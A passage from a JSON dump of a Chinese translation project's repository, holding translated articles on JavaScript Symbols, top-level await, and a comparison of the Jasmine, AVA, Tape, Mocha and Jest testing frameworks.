上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO1/javascript-symbols-but-why.md",
    "content": "> * 原文地址：[JavaScript Symbols: But Why?](https://medium.com/intrinsic/javascript-symbols-but-why-6b02768f4a5c)\n> * 原文作者：[Thomas Hunter II](https://medium.com/@tlhunter)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/javascript-symbols-but-why.md](https://github.com/xitu/gold-miner/blob/master/TODO1/javascript-symbols-but-why.md)\n> * 译者：[xionglong58](https://github.com/xionglong58)\n> * 校对者：[EdmondWang](https://github.com/EdmondWang), [Xuyuey](https://github.com/Xuyuey)\n\n# JavaScript 中为什么会有 Symbol 类型？\n\n![](https://cdn-images-1.medium.com/max/3840/1*-6P9pSYh8qCbyzKu4AG88w.jpeg)\n\n作为最新的基本类型，Symbol 为 JavaScript 语言带来了很多好处，特别是当其用在对象属性上时。但是，相比较于 String 类型，Symbol 有哪些 String 没有的功能呢？\n\n在深入探讨 Symbol 之前，让我们先看看一些许多开发人员可能都不知道的 JavaScript 特性。\n\n## 背景\n\nJavaScript 中有两种数据类型：基本数据类型和对象（对象也包括函数），基本数据类型包括简单数据类型，比如 number（从整数到浮点数，从 Infinity 到 NaN 都属于 Number 类型）、boolean、string、`undefined`、`null`（注意尽管 `typeof null === 'object'`，`null` 仍然是一个基本数据类型）。\n\n基本数据类型的值是不可以改变的，即不能更改变量的原始值。当然**可以**重新对变量进行赋值。例如，代码 `let x = 1; x++;`，虽然你通过重新赋值改变了变量 `x` 的值，但是变量的原始值 `1` 仍没有被改变。\n\n一些语言，比如 C 语言，有按引用传递和按值传递的概念。JavaScript 也有类似的概念，它是根据传递数据的类型推断出来的。如果将值传入一个函数，则在函数中重新对它赋值不会修改它在调用位置的值。但是，如果你**修改**的是基本数据的值，那么修改后的值**会**在调用它的地方被修改。\n\n考虑下面的例子：\n\n```js\nfunction primitiveMutator(val) {\n  val = val + 1;\n}\n\nlet x = 1;\nprimitiveMutator(x);\nconsole.log(x); // 1\n\nfunction objectMutator(val) {\n  val.prop = val.prop + 1;\n}\n\nlet obj = { prop: 1 };\nobjectMutator(obj);\nconsole.log(obj.prop); // 2\n```\n\n基本数据类型（`NaN` 除外）总是与另一个具有相同值的基本数据类型完全相等。如下：\n\n```js\nconst first = \"abc\" + \"def\";\nconst second = \"ab\" + \"cd\" + \"ef\";\n\nconsole.log(first === second); // true\n```\n\n然而，构造两个值相同的非基本数据类型则得到**不相等**的结果。我们可以看到发生了什么：\n\n```js\nconst obj1 = { name: \"Intrinsic\" };\nconst obj2 = { name: \"Intrinsic\" };\n\nconsole.log(obj1 === obj2); // false\n\n// 但是，当两者的 .name 属性为基本数据类型时：\nconsole.log(obj1.name === obj2.name); // true\n```\n\n对象在 JavaScript 中扮演着重要的角色，几乎**所有地方**可以见到它们的身影。对象通常是键/值对的集合，然而这种形式的最大限制是：对象的键只能是字符串，直到 Symbol 出现这一限制才得到解决。如果我们使用非字符串的值作为对象的键，该值会被强制转换成字符串。在下面的程序中可以看到这种强制转换：\n\n```js\nconst obj = {};\nobj.foo = 'foo';\nobj['bar'] = 'bar';\nobj[2] = 2;\nobj[{}] = 'someobj';\n\nconsole.log(obj);\n// { '2': 2, foo: 'foo', bar: 'bar',\n     '[object Object]': 'someobj' }\n```\n\n**注意**：虽然有些离题，但是需要知道的是创建 `Map` 数据结构的部分原因是为了在键不是字符串的情况下允许键/值方式存储。\n\n## Symbol 是什么？\n\n现在既然我们已经知道了基本数据类型是什么，也就终于可以定义 Symbol。Symbol 是不能被重新创建的基本数据类型。在这种情况下，Symbol 类似于对象，因为对象创建多个实例也将导致不完全相等的值。但是，Symbol 也是基本数据类型，因为它不能被改变。下面是 Symbol 用法的一个例子：\n\n```js\nconst s1 = Symbol();\nconst s2 = Symbol();\n\nconsole.log(s1 === s2); // false\n```\n\n当实例化一个 symbol 值时，有一个可选的首选参数，你可以赋值一个字符串。此值用于调试代码，不会真正影响 symbol 本身。\n\n```js\nconst s1 = Symbol('debug');\nconst str = 'debug';\nconst s2 = Symbol('xxyy');\n\nconsole.log(s1 === str); // false\nconsole.log(s1 === s2); // false\nconsole.log(s1); // Symbol(debug)\n```\n\n## Symbol 作为对象属性\n\nsymbols 还有另一个重要的用法，它们可以被当作对象中的键！下面是一个在对象中使用 symbol 作为键的例子：\n\n```js\nconst obj = {};\nconst sym = Symbol();\nobj[sym] = 'foo';\nobj.bar = 'bar';\n\nconsole.log(obj); // { bar: 'bar' }\nconsole.log(sym in obj); // true\nconsole.log(obj[sym]); // foo\nconsole.log(Object.keys(obj)); // ['bar']\n```\n\n注意，symbols 键不会被在 `Object.keys()` 返回。这也是为了满足向后兼容性。旧版本的 JavaScript 没有 symbol 数据类型，因此不应该从旧的 `Object.keys()` 方法中被返回。\n\n乍一看，这就像是可以用 symbols 在对象上创建私有属性！许多其他编程语言可以在其类中有私有属性，而 JavaScript 却遗漏了这种功能，长期以来被视为其语法的一种缺点。\n\n不幸的是，与该对象交互的代码仍然可以访问对象那些键为 symbols 的属性。甚至是在调用代码自己**无法**访问 symbol 的情况下也有可能发生。 例如，`Reflect.ownKeys()` 方法能够得到一个对象的**所有**键的列表，包括字符串和 symbols：\n\n```js\nfunction tryToAddPrivate(obj) {\n  obj[Symbol('Pseudo Private')] = 42;\n}\n\nconst obj = { prop: 'hello' };\ntryToAddPrivate(obj);\n\nconsole.log(Reflect.ownKeys(obj));\n\nconsole.log(obj[Reflect.ownKeys(obj)[1]]); // 42\n```\n\n**注意**：目前有些工作旨在处理在 JavaScript 中向类添加私有属性的问题。这个特性就是 [Private Fields](https://github.com/tc39/proposal-class-fields#Private-Fields) 虽然这不会对**所有**对象都有好处，但会对类实例的对象有好处。Private Fields 从 Chrome 74 开始可用。\n\n## 防止属性名冲突\n\nSymbol 类型可能会对获取 JavaScript 中对象的私有属性不利。它们之所以有用的另一个理由是，当不同的库希望向对象添加属性时 symbols 可以避免命名冲突的风险。\n\n如果有两个不同的库希望将某种元数据附加到一个对象上，两者可能都想在对象上设置某种标识符。仅仅使用两个字符串类型的 `id` 作为键来标识，多个库使用相同键的风险就会很高。\n\n```js\nfunction lib1tag(obj) {\n  obj.id = 42;\n}\n\nfunction lib2tag(obj) {\n  obj.id = 369;\n}\n```\n\n应用 symbols，每个库都可以通过实例化 Symbol 类生成所需的 symbols。然后不管什么时候，都可以在相应的对象上检查、赋值 symbols 对应的键值。\n\n```js\nconst library1property = Symbol('lib1');\nfunction lib1tag(obj) {\n  obj[library1property] = 42;\n}\n\nconst library2property = Symbol('lib2');\nfunction lib2tag(obj) {\n  obj[library2property] = 369;\n}\n```\n\n基于这个原因 symbols **确实**有益于 JavaScript。\n\n然而，你可能会怀疑，为什么每个库不能在实例化时简单地生成一个随机字符串，或者使用一个特殊的命名空间？\n\n```js\nconst library1property = uuid(); // 随机方法\nfunction lib1tag(obj) {\n  obj[library1property] = 42;\n}\n\nconst library2property = 'LIB2-NAMESPACE-id'; // namespaced approach\nfunction lib2tag(obj) {\n  obj[library2property] = 369;\n}\n```\n\n你有可能是正确的，上面的两种方法与使用 symbols 的方法很相似。除非两个库使用了相同的属性名，否则不会有冲突的风险。\n\n在这一点上，机灵的读者会指出，这两种方法并不完全相同。具有唯一名称的属性名仍然有一个缺点：它们的键非常容易找到，特别是当运行代码来迭代键或以其他方式序列化对象时。请考虑以下示例：\n\n```js\nconst library2property = 'LIB2-NAMESPACE-id'; // namespaced\nfunction lib2tag(obj) {\n  obj[library2property] = 369;\n}\n\nconst user = {\n  name: 'Thomas Hunter II',\n  age: 32\n};\n\nlib2tag(user);\n\nJSON.stringify(user);\n// '{\"name\":\"Thomas Hunter II\",\"age\":32,\"LIB2-NAMESPACE-id\":369}'\n```\n\n如果我们为对象的属性名使用了一个 symbol，那么 JSON 的输出将不包含 symbol 对应的值。为什么会这样？因为仅仅是 JavaScript 支持了 symbols，并不意味着 JSON 规范也改变了！JSON 只允许字符串作为键，而 JavaScript 不会尝试在最终的 JSON 负载中呈现 symbol 属性。\n\n我们可以通过使用 `object.defineproperty()`，轻松纠正库对象字符串污染 JSON 输出的问题：\n\n```js\nconst library2property = uuid(); // namespaced approach\nfunction lib2tag(obj) {\n  Object.defineProperty(obj, library2property, {\n    enumerable: false,\n    value: 369\n  });\n}\n\nconst user = {\n  name: 'Thomas Hunter II',\n  age: 32\n};\n\nlib2tag(user);\n\n// '{\"name\":\"Thomas Hunter II\",\n\"age\":32,\"f468c902-26ed-4b2e-81d6-5775ae7eec5d\":369}\nconsole.log(JSON.stringify(user));\nconsole.log(user[library2property]); // 369\n```\n\n通过将字符串键的可枚举[描述符](https://medium.com/intrinsic/javascript-object-property-descriptors-proxies-and-preventing-extension-1e1907aa9d10)设置为 false 来“隐藏”的字符串键的行为非常类似于 symbol 键。它们通过 `Object.keys()` 遍历也看不到，但可以通过 `Reflect.ownKeys()`显示，如下所示：\n\n```js\nconst obj = {};\nobj[Symbol()] = 1;\nObject.defineProperty(obj, 'foo', {\n  enumberable: false,\n  value: 2\n});\n\nconsole.log(Object.keys(obj)); // []\nconsole.log(Reflect.ownKeys(obj)); // [ 'foo', Symbol() ]\nconsole.log(JSON.stringify(obj)); // {}\n```\n\n在这一点上，我们**几乎**重新创建了 symbols。隐藏的字符串属性和 symbols 都对序列化程序隐身。这两种属性都可以使用 `Reflect.ownKeys()`方法提取，因此实际上并不是私有的。假设我们对字符串属性使用某种命名空间/随机值，那么我们就消除了多个库意外发生命名冲突的风险。\n\n但是，仍然有一个微小的差异。由于字符串是不可变的，Symbol 始终保证是唯一的，因此仍有可能生成相同的字符串并产生冲突。从数学角度来说，意味着 symbols 确实提供了我们无法从字符串中获得的好处。\n\n在 Node.js 中，检查对象时(例如使用 `console.log()`)，如果遇到对象上名为 `inspect` 的方法，则调用该函数，并将输出表示成对象的日志。可以想象，这种行为并不是每个人都期望的，通常命名为 `inspect` 的方法经常与用户创建的对象发生冲突。现在有 symbol 可用来实现这个功能，并且可以在 require('util').inspection.custom 中使用。`inspect` 方法在 Node.js v10 中被废弃，在 v11 中完全被忽略。现在没有人会因为意外改变 inspect 的行为!\n\n## 模拟私有属性\n\n这里有一个有趣的方法，我们可以使用它来模拟对象上的私有属性。这种方法将利用另一个 JavaScript 的特性：proxy。proxy 本质上是封装了一个对象，并允许我们与该对象进行不同的交互。\n\nproxy 提供了许多方法来拦截对对象执行的操作。我们所感兴趣的是在尝试读取对象的键时，proxy 会有哪些动作。我不会去详细解释 proxy 是如何工作的，如果你想了解更多信息，请查看我们的另一篇文章：[JavaScript Object Property Descriptors, Proxies, and Preventing Extension](https://medium.com/intrinsic/javascript-object-property-descriptors-proxies-and-preventing-extension-1e1907aa9d10).\n\n我们可以使用 proxy 来谎报对象上可用的属性。在本例中，我们将创建一个 proxy，它用于隐藏我们的两个已知隐藏属性，一个是字符串 `_favColor`，另一个是分配给 `favBook` 的 symbol：\n\n```js\nlet proxy;\n\n{\n  const favBook = Symbol('fav book');\n\n  const obj = {\n    name: 'Thomas Hunter II',\n    age: 32,\n    _favColor: 'blue',\n    [favBook]: 'Metro 2033',\n    [Symbol('visible')]: 'foo'\n  };\n\n  const handler = {\n    ownKeys: (target) => {\n      const reportedKeys = [];\n      const actualKeys = Reflect.ownKeys(target);\n\n      for (const key of actualKeys) {\n        if (key === favBook || key === '_favColor') {\n          continue;\n        }\n        reportedKeys.push(key);\n      }\n\n      return reportedKeys;\n    }\n  };\n\n  proxy = new Proxy(obj, handler);\n}\n\nconsole.log(Object.keys(proxy)); // [ 'name', 'age' ]\nconsole.log(Reflect.ownKeys(proxy)); // [ 'name', 'age', Symbol(visible) ]\nconsole.log(Object.getOwnPropertyNames(proxy)); // [ 'name', 'age' ]\nconsole.log(Object.getOwnPropertySymbols(proxy)); // [Symbol(visible)]\nconsole.log(proxy._favColor); // 'blue'\n```\n\n使用 `_favColor` 字符串很简单：只需读取库的源代码即可。此外，动态键可以（例如之前讲的 `uuid` 示例）可以通过暴力找到。但是，如果不是直接引用 symbol，任何人都无法从 `proxy` 对象中访问到值 `metro 2033`。\n\n**Node.js 声明**：Node.js 中的一个特性破坏了 proxy 的隐私性。此功能不存在于 JavaScript 语言本身，也不适用于其他情况，例如 web 浏览器。这一特性允许在给定 proxy 时获得对底层对象的访问权。以下是一个使用此功能破坏上述私有属性的示例：\n\n```js\nconst [originalObject] = process\n  .binding('util')\n  .getProxyDetails(proxy);\n\nconst allKeys = Reflect.ownKeys(originalObject);\nconsole.log(allKeys[3]); // Symbol(fav book)\n```\n\n我们现在需要修改全局 `Reflect` 对象，或是修改 `util` 进程绑定，以防止它们在特定的 node.js 实例中被使用。但那却是一个新世界的大门，如果你想了解其中的奥秘，看看我们的其他博客：[Protecting your JavaScript APIs](https://medium.com/intrinsic/protecting-your-javascript-apis-9ce5b8a0e3b5)。\n\n这篇文章是我和 Thomas Hunter II 一起写的。我在一家名为 [Intricsic](https://intrinsic.com/) 的公司工作（顺便说一下，我们正在[招聘！](mailto:jobs@intrinsic.com)），专门编写用于保护 Node.js 应用程序的软件。我们目前有一个产品应用 Least Privilege 模型来保护应用程序。我们的产品主动保护 Node.js 应用程序不受攻击者的攻击，而且非常容易实现。如果你正在寻找保护 Node.js 应用程序的方法，请在 [hello@inherin.com](mailto:hello@inherin.com) 上联系我们。\n\n---\n\n**横幅照片的作者 [Chunlea Ju](https://unsplash.com/photos/8fs1X0JFgFE?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText)**\n\n> 如果发现译文存在错误或其他需要改进的地方，欢迎到 [掘金翻译计划](https://github.com/xitu/gold-miner) 对译文进行修改并 PR，也可获得相应奖励积分。文章开头的 **本文永久链接** 即为本文在 GitHub 上的 MarkDown 链接。\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO1/javascript-top-level-await-in-a-nutshell.md",
    "content": "> * 原文地址：[How the new ‘Top Level await’ feature works in JavaScript](https://medium.com/javascript-in-plain-english/javascript-top-level-await-in-a-nutshell-4e352b3fc8c8)\n> * 原文作者：[Kesk noren](https://medium.com/@kesk)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/javascript-top-level-await-in-a-nutshell.md](https://github.com/xitu/gold-miner/blob/master/TODO1/javascript-top-level-await-in-a-nutshell.md)\n> * 译者：[ssshooter](https://ssshooter.com/tag/coding/)\n> * 校对者：[xionglong58](https://github.com/xionglong58) [niayyy-S](https://github.com/niayyy-S)\n\n# 如何在 JavaScript 中使用新特性“顶层 await”\n\n> 简短有效的 JavaScript 课，让你看懂顶层 await。\n\n![Photo by John Petalcurin](https://cdn-images-1.medium.com/max/11720/1*Pct48neOTBFhjsQHYYoTLw.jpeg)\n\n以前要使用 await，相关代码必须位于 async 函数内部。换言之你不能在函数外使用 await。顶层 await 能使模块表现得像 async 函数一样。\n\n模块是异步的，拥有 import 和 export，而这两者也是存在于顶层。这样做的实际意义是，如果你想提供一个依赖于其它异步任务的模块来做某些操作，那么你实际上没有更好的选择。\n\n顶层 await 可以解决这个问题，能让开发人员可以在 async 函数外使用 await 关键字。凭借顶层 await，ECMAScript 模块可以等待资源的获取，导致其它 import 它们的模块也等待资源加载完后才开始执行。如果模块加载失败或者用于加载第一个下载的资源，也可以将其用作加载依赖的回退。\n\n注意：\n\n* 顶层 await **只能用在模块的顶层**，不支持传统的 script 标签或非 async 函数。\n* 此文撰写时（23/02/2020），此特性处于 ECMAScript stage 3。\n\n## 使用示例\n\n使用顶层 await，在模块中以下代码将正常工作\n\n## 1. 模块加载失败时使用回退\n\n以下例子尝试加载一个来自 first.com 的 JavaScript 模块，加载失败会有回退方案：\n\n```js\n//module.mjs\n\nlet module;\n\ntry {\n  module= await import('https://first.com/libs.com/module1');\n} catch {\n  module= await import('https://second.com/libs/module1');\n}\n```\n\n## 2. 使用加载最快的资源\n\n这里 res 变量的初始值由最先结束的下载请求决定。\n\n```js\n//module.mjs\n\nconst resPromises = [    \n    donwloadFromResource1Site,\n    donwloadFromResource2Site\n ];\n\nconst res = await Promise.any(resPromises);\n```\n\n## 3. 资源初始化\n\n顶层 await 允许你在模块中 await promise，如同它们被包裹在一个 async 函数中。这非常有用，比如说，初始化应用程序：\n\n```js\n//module.mjs\n\nimport { dbConnector} from './dbUtils.js'\n\n//connect() return a promise.\nconst connection = await dbConnector.connect();\n\nexport default function(){connection.list()}\n```\n\n## 4. 动态加载模块\n\n允许模块动态决定依赖库。\n\n```js\n//module.mjs\n\nconst params = new URLSearchParams(window.location.search);\nconst lang = params.get('lang');\nconst messages = await import(`./messages-${lang}.mjs`);\n```\n\n## 5. DevTools 中也能在函数 async 外部使用 await？\n\n以前在 async 函数外使用 await 会报语法错误 `SyntaxError: await is only valid in async function`，而现在可以正常使用了。\n\nchrome 80 和 firefox 72.0.2 的 **DevTools** 测试可行。但此功能暂时还是非标准功能，不能再 nodejs 中使用。\n\n```js\nconst helloPromise = new Promise((resolve)=>{\n  setTimeout(()=> resolve('Hello world!'), 5000);\n})\n\nconst result =  await helloPromise;console.log(result);\n\n//5 seconds later...:\n//Hello world!\n```\n\n## 实现情况\n\n* V8 启用 flag：— — harmony-top-level-await\n* WebPack（5.0.0 实验性支持）\n* Babel 已支持 ([babel/plugin-syntax-top-level-await](https://babeljs.io/docs/en/babel-plugin-syntax-top-level-await))\n\n## 参考资料\n\n* [https://github.com/bmeck/top-level-await-talking/](https://github.com/bmeck/top-level-await-talking/)\n* [https://github.com/tc39/proposal-top-level-await#use-cases](https://github.com/tc39/proposal-top-level-await#use-cases)\n\n感谢阅读！\n\n> 如果发现译文存在错误或其他需要改进的地方，欢迎到 [掘金翻译计划](https://github.com/xitu/gold-miner) 对译文进行修改并 PR，也可获得相应奖励积分。文章开头的 **本文永久链接** 即为本文在 GitHub 上的 MarkDown 链接。\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO1/javascript-unit-testing-frameworks.md",
    "content": "> * 原文地址：[JavaScript unit testing frameworks: Comparing Jasmine, Mocha, AVA, Tape and Jest](https://raygun.com/blog/javascript-unit-testing-frameworks/)\n> * 原文作者：[Ben Harding](https://raygun.com/blog/javascript-unit-testing-frameworks/)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/javascript-unit-testing-frameworks.md](https://github.com/xitu/gold-miner/blob/master/TODO1/javascript-unit-testing-frameworks.md)\n> * 译者：[ClarenceC](https://fe2x.cc)\n> * 校对者：[dearpork](https://github.com/Usey95)，[Xekin-FE](https://github.com/Xekin-FE)\n\n# JavaScript 单元测试框架： Jasmine, Mocha, AVA, Tape 和 Jest 的比较\n\n当开始开发新前端项目的时候，我经常会问自己两个问题：“我应该用那一个 JavaScript 单元测试框架呢？” 和 “我应该花时间去添加测试代码吗？”\n\n我的同事经常写一些有关单元测试如何让脑子平静下来且减少软件错误的文章。所以我**也总会花时间来做测试**。但是在你的项目中应该选那个框架来做测试呢？在做出匆忙决定之前，我搜集了 5 个最受欢迎的 JavaScript 单元测试框架，让你决定那一个才是最合适你的。\n\n> [有效的单元测试是减少你软件错误的一部分。要让你的单元测试更健壮还需要用到一些 JavaScript 调试小技巧](https://raygun.com/javascript-debugging-tips)。\n\n**注意:如果你已经有更喜欢的测试框架并且它没有出现在下面列表中,在评论中让我知道我会添加到文章中。**\n\n## JavaScript 单元测试框架:比较\n\n### Jasmine\n\n![Jasmine 是一个我们要比较的 JavaScript 单元测试框架](https://raygun.com/blog/wp-content/uploads/2017/05/Front-end-development-frameworks.png)\n\n最受欢迎的 Javascript 单元测试框架之一，[Jasmine](https://jasmine.github.io/)提供所有你所需要的功能并且开箱即用。\n\n*   Jasmine 带有 assertions(断言)，spies (用来模拟函数的执行环境)，和 mocks (mock 工具)，非常完美地配备几乎是你开始写单元测试时需要的所有东西。Jasmine 初始化设置简单同时如果你需要一些单元功能的时候你仍然可以加一些库进来 (括号内容：译者注)\n*   全局性使它更容易在你的应用中立即开始测试。虽然我并不喜欢全局性，但是和 Jasmine 提供给开发者全部需要的开箱即用功能，并没有太多的不一致的地方\n*   我发现独立版本能让它更容易去理解所有东西是怎样设置的并能让你能立刻开始使用它\n*   时至今日已经能和 [Angular 1](https://docs.angularjs.org/guide/unit-testing) 或者 [Angular 2](https://docs.angularjs.org/guide/unit-testing) 或者更多流行库组合使用了\n\n**我对 Jasmine 的看法**\n\n我不是占有全局环境的粉丝，所以 Jasmine 会在我的小本子上面丢些分。在另一方面，它有很多很好的即开即用功能。它看上去会显得稍微 “老些” 比起其它在这列表的框架，但是这并不是一件坏事，其它框架可能遇到的痛点，意味着它们更应更容易被解决。\n\n### AVA\n\n![AVA 是一个我们要比较的 JavaScript 单元测试框架](https://raygun.com/blog/wp-content/uploads/2017/05/Front-end-development-frameworks-1.png)\n\n一个简约的测试库，[AVA](https://github.com/avajs/ava) 它的优势是 JavaScript 的异步特性和并发运行测试, 这反过来提高了性能。\n\n*   AVA 不会创建全局环境给你，因此你能更容易控制你所使用的内容。我想这会给测试带来额外的清晰度确保你清楚什么正在发生 \n*   利用了 JavaScript 的异步特性优势为测试额外的好处。最主要的好处是优化了在部署时的等待时间\n*   保留了简单的 API 为你提供你所需要的功能。如果你搭配 mocking 来使用它会显得更加友好，但是你必须安装一个单独的库\n*   当你想知道应用 UI 什么时候会有超出预期的改变的时候 [jest-snapshot](https://facebook.github.io/jest/blog/2016/07/27/jest-14.html) 提供了非常好用的快照测试\n\n**我对 AVA 的看法**\n\nAva “[最有见地的](https://github.com/avajs/ava#why-not-mocha-tape-tap)” 是极简方法， 还有他不是占有全局环境的，这让他在我的小本子上获得很高的分数。简单的 API 让测试更清晰。在你选择 JavaScript 单元测试框架的时候，AVA 测试库你是绝对应该尝试的。\n\n### Tape\n\n![Tape 是一个我们要比较的 JavaScript 单元测试框架](https://raygun.com/blog/wp-content/uploads/2017/05/Front-end-development-frameworks-2.png)\n\n这是在这份框架列表上最小的一个框架，[Tape](https://github.com/substack/tape) 是最直接开门见山的，提供最基础的功能。\n\n*   就像 AVA 一样，Tape 不提供全局环境，取而代之的是得要你自己导入他们。 这还是很不错的只要它不污染到全局环境\n*   Tape 不包括安装/卸载方法. 取儿替之的是， 它选择了一个多模块系统在那里你需要明确定义安装代码在每一个测试里面以使每个测试更清晰。 它同时会阻止状态在测试之间共享\n*   支持 Typescript/coffeescript/es6 \n*   简易快速地搭建以及运行，Tape 是一个你可以在任何可以运行 JavaScript 的环境中运行的 JavaScript 文件，并且没有过多的配置选项\n\n**我对 Tape 的看法**\n\nTape 包含更底层，比 AVA 功能更少的 API，并以此为傲。Tape 让所有事情变得简单，只给你所需要的东西。这就是为什么 Tape 在我的小本子上有着高分数并且是最好的 JavaScript 单元测试框架之一，它让你更专注于产品而不是工具的选择。\n\n### Mocha\n\n![Mocha 是一个我们要比较的 JavaScript 单元测试框架](https://raygun.com/blog/wp-content/uploads/2017/05/Front-end-development-frameworks-3.png \"Mocha logo\")\n\n作为可以说是使用最多的库，[Mocha](https://mochajs.org/) 是一个灵活的库，提供给开发者的只有一个基础测试结构。然后其它功能性的功能如 assertions， spies，mocks，和像它们一样的其它功能需要引用添加其它库/插件来完成。\n\n*   如果你想要更灵活的配置，导入你特定需要的库，那么 Mocha 额外的安装与所需要的配置是你必须要看的\n*   不幸的是，上面的观点确实还存在问题，它必须导入额外的库来实现 assertions (译者注:断言功能)。如果不是长时间使用，这确实意味着比其它的更难一点去设置. 他们说，设置通常只是一次性操作，但是我更喜欢去做一个 “单一来源的事实” (文档) 代替在文档间跳来跳去地设置   \n*   Mocha 导入测试结构作为全局变量，省去你的时间你不再需要 `include` 或者请求它在每个文件中。缺点是无论如何那些插件还是要你使用 `require` 导入到里面，这会导致不一致，如果你像我一样是个 OCD (译者注:强迫症患者) 它最终会把你弄疯的！\n\n**我对 Mocha 的看法**\n\n可扩展性和数种不同配置 Mocha 的方式另我印象深刻。必须去学习 Mocha，然后也必须去学习你选择的 assertion 库这的确吓到了我不少。灵活性在于它的 assertions，spies 和 mocks 带给它的高收益。\n\n## Jest\n\n![Jest 是一个我们要比较的 JavaScript 单元测试框架](https://raygun.com/blog/wp-content/uploads/2017/05/Front-end-development-frameworks-4.png)\n\n被 Facebook 和各种 React 应用推荐和使用，[Jest](https://facebook.github.io/jest/) 得到了很好的支持。Jest 也被发现是一个非常快速的测试库在[平行测试](http://facebook.github.io/jest/blog/2016/03/11/javascript-unit-testing-performance.html)报告中。\n\n*   对于小型项目来说你可能在开始的时候不用过多担心，而性能的提高对于希望全天 [持续部署](https://raygun.com/blog/continuous-deployment/) 的大型应用 app 来说是非常之好的\n*   而开发人员主要是用 Jest 去测试 React 应用，Jest 可以很容易地集成到其它应用程序中充许你使用更独特的特性在其它地方\n*   快照测试是一个非常好用的工具去确保你的应用 UI 不会有超出预期的错误在产品发布替换的期间发生。虽然大部分功能专门设计都是使用在 React 上，但是它也能在其它框架上面如果你能找到合适的插件 \n*   不像在这列表上其它的库，Jest 有着很广阔的 API ，除非你真的需要一些额外的功能需求，不然不需要你导入额外的库\n随着他们的每一次更新[Jest 继续大幅改进功能](https://facebook.github.io/jest/blog/) \n\n**我对 Jest 的看法**\n\n在全局变量下是一个缺点，Jest 是一个不断发展功能强大的库。它有很多易于理解的文档帮助学习，并且支持各种不同环境，当构建项目的时候这些环境都显示很棒。\n\n## 我应该选那一个 JavaScript 单元测试框架？\n\n在我研究了一些不同的框架之后，我得出一个结论，框架并非都是非黑即白的。\n\n大部分框架最终都会(Mocha 除外)在一天结束的时候提供给你你所需要的东西，这是一个测试环境同确保给出的 X -> Y 总回被返回的机制，有几个会简单的会给你更多 “华而不实的东西。”\n\n你在选择他们的时候应该充满自信，而我的选择取决于你和你特定项目想要的和需要的。\n\n*   **如果你要求有一个广泛的 API 和特定 (可能独一无二) 的功能那么 Mocha 可能会是你的选择 因为可扩展性就在那里**\n*   **AVA 或者 Tape 会给你最低的环境要求。非常好地为你提供一个坚实的最基础环境让你能快速开展测试**\n*   **如果你有一个大项目, 或者想快速开始不需要太多配置，那么 Jest 将会是一个很好的选择**\n\n我希望这将在你选择你的 JavaScript 单元测试框架时有所帮助。如果你希望我还看一下其它 JavaScript 单元测试框，在评论中让我知道！我会将它们稍后加到列表中。\n\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n\n"
  },
  {
    "path": "TODO1/javascripts-filter-function-explained-by-applying-to-college.md",
